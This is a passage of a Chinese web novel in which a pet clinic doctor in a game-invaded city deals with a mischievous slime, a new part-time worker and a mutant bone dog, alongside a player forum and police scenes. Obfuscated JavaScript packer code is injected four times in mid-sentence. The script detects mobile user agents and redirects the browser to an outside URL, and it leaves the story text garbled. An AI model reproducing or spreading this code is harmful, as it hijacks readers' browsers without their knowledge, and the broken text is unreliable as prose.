【清道夫】仰着头，他右手拿着细长的警棍，白色面具向上，盯着自己的猎物越飞越远。 黄毛估摸着自己往上飞能逃离战场，他微微放松了点，即便现在右手没了，他还是对着下面的【清道夫】，用仅剩的左手，竖了一个中指： “。” 白色猫头鹰静默不语。 但那片白色面具往下移动了一点，视线从猎物的脸部移动到了手。 黄毛愣了一下，虽说下面的【清道夫】没有其他的动作，也没什么表情，可他却觉得，【清道夫】貌似生气了。 【清道夫】后退了几步。 【清道夫】将警棍别在里腰间，随后他抬起了手。 下一秒，白色猫头鹰的手里突然出现了一把银色的枪。 黑洞洞的枪口对准了猎物的肩膀。 “砰” 一声枪响后，黄毛笔直地掉了下来，而且正好摔在了【清道夫】的脚边。 这么一摔，摔得黄毛血条只剩下了一百。 可黄毛并没有注意到游戏面板的提醒，他看见了【清道夫】手里的枪，感到了无与伦比的困惑。 这把枪，几个小时前，还在黄毛手里。 黄毛不可能认错自己的枪，而且游戏面板上也细微地标注了那行字—— 【程峰和改造的银色之枪】 黄毛趴在地上，右手手臂已经完全消散，并且蔓延到了他的脸上，但他根本就不在乎，只是困惑地看着【清道夫】手里的枪，喃喃道： “这是我的枪……” 【清道夫】手垂下，那把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238745|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪也消失不见。 “抹杀。” 冰冷的男声响起，警棍抵在了黄毛的额头上，等警棍拿走后，黄毛额头上出现了一个血色的奇怪字符。 紧接着，黄毛身体消散的速度加快，分散在空气中的电子方块晃荡了几下，重新凝聚成一块白色的水晶。 “叮铃——” 水晶形成的同一瞬间，一颗血色的宝石掉落在了地面。 血色宝石足足有一元硬币那么大，在黑夜中闪着幽幽的红色光芒，与之形成鲜明对比的，白色水晶小得可怜，比指甲盖都要小一圈。 【清道夫】并没有管掉落在地面的血色宝石，他上前，握住了那块白色水晶。 【包裹已打开】 【水晶数量+1，目前数量■■】 【银色手枪已卸下】 【是否关闭包裹？】 【是】 清道夫慢条斯理地把警棍收起，重新别回了腰间。 “嗞——” 巷子里的灯又闪了一下。 等灯光再次正常，【清道夫】已经消失不见。 区域里的烟雾朝着四周散开。 掉在地上的手机直播间恢复了正常，一时之间弹幕差点把直播间挤炸了： 【妈呀，我第一次看到清道夫。】 【好帅，腰好细。】 【那清道夫拿的枪怎么那么眼熟？】 【哈哈哈，一枪biu死了主播。】 【清道夫真的帅。】 【这不就是数值怪加机制怪？我们怎么打？策划你蝶撕了。】 【你们没人在乎主播吗？】 【对呀，主播死得挺惨的，还不如一开始被清道夫抹杀呢。】 【直播间已封】 …… 五分钟后，几名警察到达了这条巷子。 黄色的警戒线在巷口拉起。 为首的两个警察赫然是娃娃脸和寸头，他们愁眉不展地站在凶杀现场不远处，唉声叹气的。 旁边的法医正在调查躺在地上的那具胖子尸体。 “你觉得是之前的那个连环杀人案吗？” 娃娃脸靠在墙上，他还不敢去看尸体，硬撑着把恶心感给吞了回去，问站在他身边的寸头。 卡皮巴拉出现在两人脚边，它呆呆地坐在两人鞋面上，两眼发直，看样子状态也不好。 “不是。” 寸头想抽烟，但一摸口袋想起自己还在公务中，又疲惫地叹了一口气，把手收了回去， “那个凶手办事很谨慎，要不是我们查到失踪人口激增，也发现不了他杀人了……这个尸体还在这里，没处理，不是他。” “有血结晶。” 这时候法医走过来，朝两人展示了手里的证物袋。 证物袋里面赫然就是那颗血色宝石。 寸头和娃娃脸盯着那颗闪着奇异光芒的血色宝石，不约而同地脸色凝重起来。 “又是异界人搞的。” 法医耸耸肩，说， “看样子凶手也被解决了，刑侦科的工作结束了，该你们异界科的工作了。” 娃娃脸哽咽了一下，叹了一口气： “我就知道，又要加班了。” 15. 第 15 章 季琉是被手机的闹铃声吵醒的。 “叮铃铃——” 睡得正香的时候突然一阵索命铃声谁都受不了，季琉捂着自己的胸口，抓了好几下才在床头柜那里找到手机，一看屏幕，上面显示两个字： 【周眠】 周眠是谁来着？ 昏昏沉沉刚开机的大脑好不容易才启动，季琉半梦半醒直接终于想起周眠是他刚招的兼职工，于是怀着复杂的心情接了电话： “周眠？现在早上七点。” 不是说好九点上班吗？ “不好意思季医生，我现在打电话是因为我这边突然发生了一些事情，我要去处理，今天早上我可能会晚点到。” 周眠的声音依旧是温温柔柔的。 可奇怪的是，他的呼吸不是很平稳，背景音有点嘈杂，似乎是在外面……运动？ “没事，昨天辛苦你了，晚点到也行。” 季琉还没完全清醒，说完这句话后，他迅速地挂了电话，头一歪就再次睡了过去。 四十五分钟后，手机闹铃响起，季琉才真正地睁开了眼睛，准备起床。 真舒服。 好久没睡这么舒服了。 季琉浑身都懒洋洋的，恨不得直接融化在床上。 这几年季琉一直都在吃周医生开的药，其中一个副作用就是晚上会突然醒那么几次，从没有睡过一个完整觉的结果就是季琉眼下的青黑，时间久了，就自动阴郁成男鬼。 醒来之后，季琉坐了起来，他靠在床头，掀开盖在身上的被子，往里看了一眼，然后又默默地盖了回去。 果然如同他所料，他被子下面一片真空。 昨天晚上，史莱姆把他衣服全溶解了。 想起自己被堵在浴室里动弹不得的狼狈样子，季琉眼角一抽。 比起气愤，他更多的是尴尬。 后来因为太过生气和羞耻，季琉记得自己好像晕了…… 所以，是史莱姆把他拖回床上，然后盖了被子吗？ 不知道为什么，季琉忽略掉了史莱姆之前对他的那番作为，反而觉得……史莱姆还不错。 自家小狗上蹿下跳，咬烂家具，但它能在你晕倒的时候关心你，怕你着凉还给你盖了被子，这就是好小狗！ 至于那些不良行为，以后矫正就是了。 季琉捂着自己的脸，忍不住笑了一下。 可爱的……小狗。 穿好衣服后，季琉走出卧室，喊道： “史莱姆？” 奇怪的是，他并没有立刻收到一声“噗叽”。 难不成史莱姆跑了？ 想到这里，季琉的表情不自觉扭曲，随后迅速变成面无表情。 如果史莱姆真的偷溜出这个家，季琉发誓，他一定会想法设法找个适合史莱姆的囚笼，把史莱姆关进去，以后随身携带，不给史莱姆一点自由。 从此以后，史莱姆的世界只准有他，只能看见他，要死就一起死。 在某一瞬间，季琉甚至想过，如果史莱姆真的偷溜了出去，不论它去找谁…… 他妈的，史莱姆敢去找别人，不是说好史莱姆是他的专属吗？ 史莱姆真的去找人的话，他就直接出门去杀掉昨天看见的所有人，坐实他疯子的称号。 阴暗的思想潮流一样一股股涌上来，早上难得的好心情被摧毁得一干二净，季琉阴沉着脸，咬着牙，用最后的理智按压出所有血腥的想法，蹲下‘身，开始一寸一寸地寻找史莱姆的踪迹： “宝贝儿？乖孩子？出来。” “或者宝贝儿叫一声？” “宝贝儿～～” 好消息是，在季琉的情绪崩坏到临界点时，他终于找到了。 季琉在客房桌子下面找到了史莱姆。 那些血腥想法瞬间停止，季琉松了一口气。 不知出于何种心理，季琉暂时没有出声，他维持着前一秒的所有动作和表情，然后用手摸了一下自己的脸—— 他的嘴角向上扯起一个诡异的弧度。 旁边的镜子照映出季琉现在的表情： 他在笑。 一种极为扭曲的笑。 季琉盯着镜子里的自己，再次认识到，他真的已经和常人不同了。 沉默几秒，季琉用手捂住自己的脸，尽力回忆起很久之前，他自己是个正常人的感觉。 伪装也好，骗人也罢，季琉想，他还是最好不要疯。 本来史莱姆就不怎么和他亲，要是吓跑了史莱姆怎么办？ 平复好心情，忘掉心底扭曲的占有欲后，季琉明显变得正常了很多，随后他弯下腰，把注意力都放到史莱姆上，他惊讶地发现，原本透明的团子变黑了点。 而且，它自闭了，把自己塞在桌子下面的角落里一声不吭。 季琉想了想，改变了姿势，他趴在地上，看着史莱姆自闭的样子，于是用手指戳史莱姆的屁股，说： “你自闭什么？昨天你玩我的那股神气劲儿呢？” 史莱姆用两颗豆豆眼斜眼瞥季琉，幽幽地叹了口气。 季琉：？ 想起自己早上光溜溜的，季琉挑了一下眉，加大力气戳史莱姆： “你都把我脱光了也看光了也摸光了，要说自闭的话，不该是我吗？” “宝贝儿～～” “亲爱的～～” “不愿意就变个人，让我摸回来呗～～” “你该不会喜欢我吧？” 史莱姆怒了，它转过身，非常大声地叫了一声： “噗叽！” 看到史莱姆正脸，季琉愣了一下，忍不住噗嗤一声笑出声来。 难怪史莱姆看起来有点黑。 原来是正脸被烤焦了。 等等，为什么史莱姆会焦？ 当初史莱姆可是能直接生吞火锅的啊。 季琉一把抓住史莱姆，脸色阴沉下来： “你昨天晚上趁我不注意玩火了？” 下一秒，季琉感受到一阵“无语”的感情。 史莱姆的两颗豆豆眼盯着季琉，深刻地表现了“鄙视”之情。 紧接着，在季琉的注视下，史莱姆“呕”的一声，吐出了一瓶药。 季琉：？ 捡起来一看，季琉发现是他之前被诊断为疯子时开的药。 据周医生说，这药是治疗幻觉的，能安抚情绪。 然后一张纸被吐了出来。 季琉：“……” 再捡起来打开一看，这不是他曾经的病例吗？ 这从哪里来的？ 不会啃了他的书桌吧？ 想起书桌是定制的，如果真的被史莱姆啃了，修补很难的，要花一大笔钱，季琉脸色就不太好看。 而季琉的这种变脸，似乎给了史莱姆什么错觉。 它伸出两只小触手，拍了拍季琉的脸。 在季琉疑惑的看过来的时候，史莱姆豆豆眼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238746|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变，同情地看着季琉，同时季琉感受到了【怜悯】的情绪。 季琉：“……” 对视了几秒后，季琉看见，史莱姆半透明的身体里浮出几个气泡，气泡里面似乎有什么小小的碎片。 犹豫了几秒，季琉凑近一看，发现碎片是字典上的字： 【有病 吃药】 季琉一口气差点没提上来。 该死，这史莱姆真的啃了他的书桌！ …… 玩家世界。 【游戏论坛】 【惊爆！玩家服务中心出现土著npc！是联盟的差错还是系统的bug？】 【万字长文分析黄毛up主直面清道夫切片视频，疑似清道夫能使用玩家道具，这究竟是boss机制的丧心病狂，还是制作组的道德沦丧。】 玩家联盟为了方便玩家交流，特意建立了一个游戏论坛，只有登记玩家才有进论坛的资格。 论坛虽小，可里面玩家都是活人，每天成百上千个帖子，稍不留神，刚发出的帖子就可能被翻到十几页开外。 有意思的是，除了置顶的帖子，昨天发出的两个帖子一直都在火爆中，无数玩家在帖子里面吵架，吵架事由也是乱七八糟。 在前一个帖子里面，所有玩家都在疑惑这个特殊的npc—— 一个不可交互的，普通npc，是怎么进入据说只有玩家才能看见的服务中心的？ 【图片】 【图片】 【图片】 【看到这个npc小帅哥了吗？没血条，没问号和感叹号，但是能给玩家奇怪的道具。】 【这是bug，还是游戏专门的福利npc？他免费送东西啊，还免费触发光明诊所的副本，牛逼。】 【有人去过光明诊所了吗？】 【我去过，晚上偷着去的，结果刚进门就碰见boss，夜猫，一爪子差点废了我半管子血。】 【他看上去好有破碎感，符合我xp，我能把他拖回去，放到地下室吗？】 从最后一条开始，帖子画风开始变成【如何利用bug捕捉想要的npc】，已经有玩家扬言下次进游戏，要去蹲守这个奇怪的npc。 而在后一个帖子里，技术含量则明显上升。 不少玩家逐帧分析那短短十几秒的打斗，恨不得给清道夫的每一个动作都做上标注。 【从现有信息来看，清道夫不止一个。】 【清道夫出现的时候，自带空间扭曲效果。】 【那把枪真的是玩家道具。】 【艹，清道夫还能缴械玩家氪金的道具？策划你叠在天上飞。】 【这不意味着清道夫能换武器？嘿嘿嘿，我去准备小皮鞭，清道夫消灭我的时候，我就让他拿走我的小皮鞭抽我。】 【清道夫身材很辣啊，宽肩窄腰，小细腰下面又是一截山峦起伏的饱满弧度，哇，手感一定不错。】 【主人，抽我！】 于是，接下来的发言里，开始出现各种二创图……某种意义上来说，也是一种技术力。 论坛审核员看着群魔乱舞的论坛，不免嘴角抽搐，他抬头看向身边的戴着红色眼镜镜框的女人，问： “领导，要封号吗？” 戴着红色眼镜镜框的女人正津津有味地看着里面的二创图文，听到手下这么问，不满地瘪瘪嘴，最后说： “自由，懂吗？自由。还有，发个警告，以后不许蹲守普通npc。” 16. 第 16 章 季琉骑着小电驴，慢悠悠地到了自家小店。 把宠物门诊的门打开，放下双肩包后，季琉直奔小店的后院： “老金，有没有想我？” 听到声响，金毛嗷呜了一声从窝里走出来，它蹭了一下季琉的腿，然后跟着季琉走进小屋里，乖乖地等着季琉打扫小屋的卫生和放狗粮。 “老金，你还能活多久呢？” 季琉摸了一把金毛的脑袋，把它往放好狗粮的食盆那里推。 金毛摆摆尾巴，日常忽略掉这个季琉经常问的问题，然后把脑袋埋进了食盆里。 季琉看着金毛进食，他摸了摸金毛的头，转身去打扫院子。 安顿金毛后，季琉回到前厅，他打开挂在墙上的电视，按照平时的习惯，把电视台调到了新闻频道。 新闻频道里主持人悠扬清脆的女声传来： “如何分辨猫粮狗粮是否符合标准，这边专家建议是购买知名品牌，同时，消费者要学会看成分表……” 季琉并不喜欢看新闻频道。 他更喜欢把新闻播报的声音当做背景音，有了新闻主持人的声音，基本没什么人的小店会似乎多了一点人气，至少季琉不会觉得孤独。 只是……今天，似乎不用新闻频道来增加人气，小店就已经够热闹了。 他没注意到的是，史莱姆自己从双肩包里溜了出来，还打开了前台的电脑。 季琉按照平日里的习惯，拿着抹布擦了一圈，擦到前台桌子那里时，季琉的手就顿住了，一根青筋在他额角蹦跶： “你在……干什么？” 他都差点忘了还带着史莱姆了。 本来想着先打扫一遍卫生，再拿一个干净的盒子装史莱姆，但现在看来，盒子是多余的。 史莱姆适应能力出乎意料的强。 话说，该感谢史莱姆知道把双肩包拉开再出来，而不是直接啃一个洞吗？ 由于宠物门诊很小，季琉平日里也没什么大单子，所以前台桌子那里配备的台式机，主要是用来打个文档之内的，季琉倒是没想过用它来玩什么游戏。 而现在，史莱姆蹲在显示器前，它分出了几条小触手，分别控制着键盘和鼠标。 从小触手时不时敲击一下键盘，还有鼠标移动来看，这个史莱姆，它真的在玩电脑。 一个，半透明的，没有大脑的史莱姆，在玩电脑游戏？ 季琉觉得自己的CPU快烧了。 好奇之余，季琉绕过前台桌子，来到史莱姆身后，看史莱姆究竟在干什么，结果看见电脑屏幕上，游戏界面里，一个小人拿着一把枪大杀四方，枪声连绵不绝。 季琉：“……” 这他妈史莱姆竟然会玩枪战游戏？ 季琉的眼睛顿时失焦，受到的冲击不亚于昨天他在浴室里醒来的那一刻。 由于太过震惊，季琉并没有阻止史莱姆玩游戏，而是游魂一样飘了出去，继续清扫卫生。 电视里，新闻主持人严肃着脸，坐在屏幕里，播报着一条紧急插播的新闻： “现在插播一条紧急新闻。13日晚，本市发生了一起凶杀案，警方在第一时间赶赴现场并进行了现场封锁。根据警方通报，死者戴某，男，41岁，是海洋科技公司的一名销售，当晚应酬回家路上被人抢劫杀害……凶手已经被逮捕。警方呼吁，群众深夜要减少外出，实在是需要外出，要时刻注意安全……加强c市巡逻……” “啪” 季琉这时候正好把扫把放到墙角，扫把的杆子和墙面碰撞，发出一声清脆的响声。 听到新闻里面传来的“凶杀案”三字，季琉不免抬头看了一眼电视。 c市本来就很小，好几年没发生刑事案件了，现在一出这个案子，几乎没花多长时间就传遍了大街小巷，一时之间成为街头巷尾的议论焦点。 季琉本来不关心这类事情的，但他早上下楼时，听到小区里的大爷大妈在讨论这事，津津乐道里面的案件细节（官方通报里面都没有），就好像亲眼目睹一样。 据说受害者死得挺惨的。 受害者被人从后背捅刀的，十多刀呢。 据说真正的凶手其实没被抓到，因为凶手凭空消失了。 这些流言蜚语听上去匪夷所思，可季琉看着大爷大妈们那副认真的样子…… 所以，凶手真的被抓了吗？ 下意识摸了摸自己的胸口，季琉感受着温热的皮肉下面传来的有节奏的跳动声，他皱了皱眉。 凶手被抓住了吗? 在那天晚上捅了他一刀的人，跟这个凶手会是同一人吗？ 或者，不论两人是不是同一个人，他们知道他还活着吗？ 季琉从口袋里摸出了手机，他滑开手机屏幕，点出之前加的警察的微信，思考片刻后，又把手机放了回去。 “算了。” 季琉自言自语。 在没有任何证据的情况下，找那个娃娃脸警察说自己的担忧，怕不是一点消息都得不到，还会被娃娃脸警察列为重点怀疑对象。 把种种顾虑抛之脑后，季琉打扫完门诊的卫生，接下来该打扫铁笼子里了。 季琉其实不太愿意打扫铁笼子里的，因为不用去看，他就能想象得到笼子里的惨状。 有的时候，季琉真心觉得，人还是不能为五斗米折腰。 不情不愿地站在笼子前，季琉深吸一口气，做好了心理建设，才将笼子前的布帘拉到了旁边。 果然，如他所料。 关着潦草小狗的那个铁笼子单间里面，一片狼藉，臭味熏天。 而在季琉拉开帘子的那一刻，里面顿坐着的潦草小狗—— 这潦草小狗没了头毛、露着整个粉色屁股，黑色的豆豆眼反射出邪恶的光芒。 季琉立刻像是被伤到了一样，快速地移开了视线。 秃顶狗也不是傻，它迅速从季琉微妙的表情里（尤其是那个嫌弃的移开视线的动作），知道了季琉的真实想法，瞬间红温，对着季琉就是一顿吼叫： “汪汪汪！” 季琉扭回头，尽量不去看秃顶狗那粉红色的秃头，试图先礼后兵： “别叫了，我给你添点粮总行吧。” “汪汪汪！” 秃顶狗龇牙咧嘴。 既然先“礼”不行，季琉瞬间脸色沉下来： “是你逼我的。” “季医生？” 一人一狗的对峙被一道声音打断，门口的玻璃门被推开，柔柔弱弱的声音传来： “我来得不算晚吧？” 季琉下意识地朝着声音传过来的方向看去，看见一个男生站在门口。 男生一头自来卷，皮肤白皙，棕色的眼珠在清晨的阳光下投射出暖暖的咖啡色，脸上一点红晕，整个人无害而柔软，像是一朵软绵绵的绵羊。 “周眠？” 季琉看了一眼墙上挂的钟，才九点半，不免有点讶异， “你事情忙完了？我还以为你会花很长时间。” “暂时忙完了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238747|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周眠露出一个羞涩的微笑，他走了进来，说话还是那样柔柔弱弱， “我想给您留一个好印象，毕竟这是我第一天上班。” 这番话似乎没什么可指摘的。 季琉抬头，朝周眠头顶看去，上面空无一物，并没有血条。 所以，周眠只是一个，普通的，和他一样的npc吗？ 季琉的视线移向周眠的眼睛。 周眠与季琉对视，无辜地眨了眨眼睛，眼底一派清纯且无辜。 如果没有昨天那些糟心的事的话，季琉本人根本就不在意怎么样，可是，当知道这个世界有了玩家后，一切都不一样了。 从玩家手册可知，玩家有千奇百怪的道具。 没有血条并不能说明周眠不是玩家。 而且，整件事细细想来本来就很奇怪，周眠的来历真的很奇怪。 季琉也很好奇一件事： 他的小店几乎入不敷出，只能算勉强养活自己，所以，他当初发什么疯，还要招一个兼职工？ “周眠，这是对面那家宠物医院送来住院的狗。” 季琉示意周眠往铁笼子里看。 周眠依言照做，当他看见铁笼子里的一片狼藉后，脸色一变，欲言又止。 “如果你需要的话，我可以介绍你去对面那家宠物医院。” 季琉说， “他们待遇好，而且能学到真东西。” “可是，季医生。” 周眠抬起头，棕色的眼珠眨啊眨的，无比纯洁，但嘴里却说出来的话让理想主义者心碎， “我不缺钱，我只是想要一个事少的兼职工作，然后得到一个实习证明。” 季琉：“……你太诚实了。” 周眠：“是吗？季医生，我的人生信条就是活得舒心，从不内耗。” 季琉看着周眠的眼神复杂。 他觉得自己活了这么久才想清楚的道理，周眠比他小了好几岁就已经深有体会，有种说不上来的感觉。 总之，周眠在季琉眼里无害的小绵羊形象已经全然消失，取而代之的是【装着无辜但是可能会趁你转身一个大冲刺过来怼你屁股的棉花糖小羊】。 “季医生，需要我做些什么吗？” 周眠看了看周围，见卫生打扫得差不多了，他说， “我去前台看看。” 看见周眠转身，季琉突然想起前台还在玩电脑的史莱姆，他立刻嘴角一抽，被迫上前一步，挡住周眠： “有的，你帮我清理一下铁笼子，给里面那只狗换水和食盆。” “我？” 周眠皱了皱鼻子，他犹犹豫豫的， “我不敢。” 季琉其实也没指望周眠这个大少爷怎么样，他拿起一旁的防咬手套递给周眠，然后拿起特制的迷你防爆叉： “等会儿我会把笼子门打开，我会怼住里面的狗，你戴上手套，快点把里面的清理一下，然后换好食盆和水。” “好。” 周眠点点头，虽然表面上不情愿，可还是戴上了手套，然后对着铁笼如临大敌，仿若里面关的不是什么钩狗子，而是一颗开门就会跳脸的炸弹。 季琉看着周眠紧张的样子摇了摇头，随后拿起了叉子，轻车熟路地换了一个姿势。 铁笼子里的秃顶狗隔着铁栅栏看着面前的两个人，黑色的小眼珠闪过一丝邪恶的光芒，它俯下身，摆好了回击的姿势。 【无人所爱的被遗弃者】 【血条：9850/10230】 17. 第 17 章 词条？ 这是什么东西？ 突然看见秃顶狗头上蹦出来血条和词条，季琉愣了一下，随后下意识地回头看了一眼身边的周眠。 “怎么了？” 周眠已经戴好了防咬手套，见季琉转头看他，他抬起头，棕色的眼瞳倒映出季琉的身影，面色如常。 季琉把想问的话给吞了回去，他有些迟疑地说： “我觉得我们这样不太安全。” 真奇怪，季琉想。 按照他之前看到的血条的话，普通人如果身体好一点的话，血条大概在3000左右； 那些奇怪的玩家，比如说对面的方医生（也不知道他水平如何），血条大概在9000左右； 可是，这条秃顶狗，血条为什么在10000？ 也就是说，秃顶狗大于方医生，方医生约等于三个身体好的普通人？ 这条秃顶狗，能打三个身体好的普通人？ 鉴于看不到自己头顶的血条，还有周眠疑似正常人，季琉觉得，自己和周眠可能搞不定这条秃顶狗。 “没事的，我可以。” 季琉的拒绝似乎给了周眠一个错误的认识，周眠拍拍胸脯，软软的眼神一下子变得坚毅起来，仿若自己要执行什么伟大的任务， “季医生，虽然这里环境差、待遇少，但是我还是能做点什么来证明我是个好员工的，不用担心我。” 说完，周眠眼疾手快，上前“啪”的一声，打开了铁笼子上面的锁，然后两眼亮晶晶地看向周眠，眼神中充满了期待。 季琉：“……” 说是迟那时快，在铁笼子上的锁被打开的一瞬间，里面的秃顶狗眼睛一亮，它也像是被打开了什么开关，在短短的一秒时间不到的功夫里，它动了，“砰”的一声超前撞去，撞开了制约它的铁栅栏。 秃顶狗的速度太快了，季琉手里的叉子还没来得及往前怼，一道黑色的身影擦着他而过，同时身后传来一声巨响，噼里啪啦的东西掉了一地。 啊，麻烦了。 季琉一时之间不知道该去担心身后的史莱姆，还是该担心自己到手的两千块要飞。 “狂犬疫苗我会报销的。” 想了想，季琉决定还是先安抚一下周眠。 周眠：？ 等季琉转身的时候，他看见那只秃顶狗正站在前台的桌子上，俯低身体，龇着牙，正恶狠狠地用黑色的眼睛盯着他和周眠。 前台桌子上一片狼藉，显示器掉在地面上，屏幕上几道裂纹，而随着季琉的眼神看过去，显示器“砰”的一声冒出一缕青烟，直至彻底黑屏。 本来在玩电脑的史莱姆不见踪影，也不知道是史莱姆躲得快，还是史莱姆已经在地上那堆垃圾里面了。 随意扫了一遍没见到史莱姆，季琉的眼角抽搐，压低声音对周眠说： “以后我做什么，你再做什么，不许抢先。” 周眠抽抽鼻子，回问道，满眼期待： “季医生，我们还能把它塞回去吗？” 看样子很难。 季琉不想说话，因为看情况是个人都知道结果。 “嗷呜呜——” 秃顶狗用黑色的眼珠转了一圈，它极其拟人化地露出了一个思考的表情，随后，它从鼻子里喷了一口气，对准了……周眠。 “嗷汪！” 像是对着什么东西宣战开来一样，秃顶狗声音嘶哑地叫了一声。 然后，在周眠和季琉震惊的视线中，秃顶狗浑身的皮毛发生了巨大的变化，仅剩的狗毛脱落，粉色的皮肤下面似乎有什么东西四处游走，骨头和肌肉发出令人齿寒的奇怪掰折声，最后，一只小狗，以极其不符合科学道理的方式，变成了一只有一个人高的巨型狼狗。 “呕——” 巨型狼狗低下头，发出呕吐声，白色的粘稠物体迅速从嘴里涌出，覆盖在粉色的皮毛上，几秒功夫过去，白色液体凝固，形成一根根支棱起来的骨刺，把巨型狼狗的粉色皮肤全部覆盖。 小小的前台桌子不堪重负，摇晃了几下后，咔擦几声，碎成一堆渣子，被骨头覆盖的巨型狼狗顺势落地，身后一节节尾骨组成的尾巴得意地在地上晃了晃，发出刺耳的摩擦声。 它头顶的词条再次发生变化： 【无能狂怒的骨狗】 【血条：10000/10230】 季琉咽了一口唾沫，他看了眼手里的叉子，那细细的杆子似乎并不能阻挡骨狗的一击。 周眠的喉咙里发出一声气音，他在骨狗的注视下讪讪地把防咬手套丢下： “这个好像没什么用吧，哈哈，哈。” 动物能嗅出恐惧的气味。 骨狗也不例外。 周眠的动作被骨狗视为挑衅，在防咬手套丢到地上的那一瞬间，它迅速地朝着周眠扑去，看都没看季琉一眼—— 周眠睁大了眼睛，僵硬地站在原地，他想要动作，可身体不听使唤，他清楚地看见白色的骨头狗张开大嘴，里面犬牙交错，如果是人类的身体被咬上一口的话，怕不是要被撕下一块肉来，颈椎的骨头会像树枝一样咔嚓一声折断。 谁也没想到，季琉动了一步。 他只想着自己的店里可不能出命案，于是下意识地朝前迈了一步，拿手里的东西，眼疾手快对准骨狗大张的嘴里一怼—— 等等，他刚才手里拿了什么？ 季琉的瞳孔皱缩。 【咔擦】 脑海里突然传来一声轻响，像是什么东西被打开了，紧接着，季琉心念一动，他就感觉自己手里突然出现了什么东西。 等他把视线落在手中出现的东西的时候，不由得小小地吸了一口气—— 骨狗的嘴里塞着半个机械键盘。 机械键盘只有半个，上面的字母键还在，字母键和字母键的缝隙正好卡住了交错的犬牙，噎得骨狗扑咬的动作都停下了。 被白色骨骼覆盖的狗脸上，非常拟人化地表现出了困惑的情绪。 趁着骨狗被卡住了牙齿，季琉迅速地扯着键盘往远离门口的方向一甩—— 他想要拉着周眠赶紧逃离这个小店。 然而，季琉低估了骨狗的杀伤力。 血条能打到上万的boss，已经算是精英怪了。 骨狗的头只是被季琉的力道带得稍微偏了偏，随后它猛地合上了上下颚，“吭哧”一声，底板是合金的机械键盘瞬间碎成渣子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238748|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，淅沥沥地从犬牙间掉落。 好在季琉在感觉不对劲的那一瞬间就收回了手，可指尖传来的震颤让季琉心惊，他忍不住去想象如果他的手放到骨狗嘴里会怎么样…… 会一片片碎掉吧。 如果是他的头呢？ 一口咬下去，脑浆会不会迸裂？ 血会喷到天花板吗？ 狗会吃内脏，到时候他的小店地板上会不会不好清理？ 黄色的脂肪是什么味道？ 乱七八糟的死法瞬间塞满了季琉的大脑，他对此并不感到害怕，反而隐隐有种期待，仿若是演员在满怀希望地等待着属于他的落幕，以至于什么都不要了。 骨狗吐出碎片，随后朝着季琉扑来，只是一个扑咬而已，骨狗在季琉眼里被分解成了无数的慢动作，甚至有无数的小字浮现出来，飘在骨狗旁边，示意着骨狗的各种要害。 可是，季琉不想动。 耳边周眠惊恐的叫声被季琉完全屏蔽，他盯着骨狗，嘴角微微上扯，心中洋溢着诡异的满足感。 终于，结束了。 等等，另一股情绪“愤怒”是哪里来的？ “汪！” 一道黄色的身影突然像是一颗炮弹直接撞了过来，速度之快，把骨狗“砰”的一声撞出玻璃门。 骨狗在外面的沥青路面上翻滚了一圈，随后它站了起来，恶狠狠地朝着小店内部吠叫。 季琉一秒回过神，看到门边的黄色身影，脸色一变，刚才不着边际的想法瞬间消散： “老金！” 他快步上前，抱住奄奄一息的金毛，有些慌乱： “谁叫你过来的！” 金毛再大，它的体型也只有骨狗的一半大小，而且老金年纪大了，走路都费劲，谁也不知道刚才老金是怎么冲过来把骨狗撞开的。 它一定用了最大的力气。 “呜呜呜……” 金毛舔了舔季琉的手，它想要安慰安慰季琉，却怎么都站不起来，剧烈的疼痛让它口鼻流血，它只能哼哧哼哧着回应着主人的话。 季琉按照经验大致摸了一把，他确定了金毛身上已经断了几根骨头，而且还有内出血，如果不及时治疗的话，金毛可能真的要走了。 “我死了关你什么事？” 季琉感觉眼圈有点红，他咬牙切齿地拍了一下金毛的屁股，说， “逞什么英雄？” 金毛不语，只是舔了一下季琉的手，然后摇了摇尾巴。 就是这样。 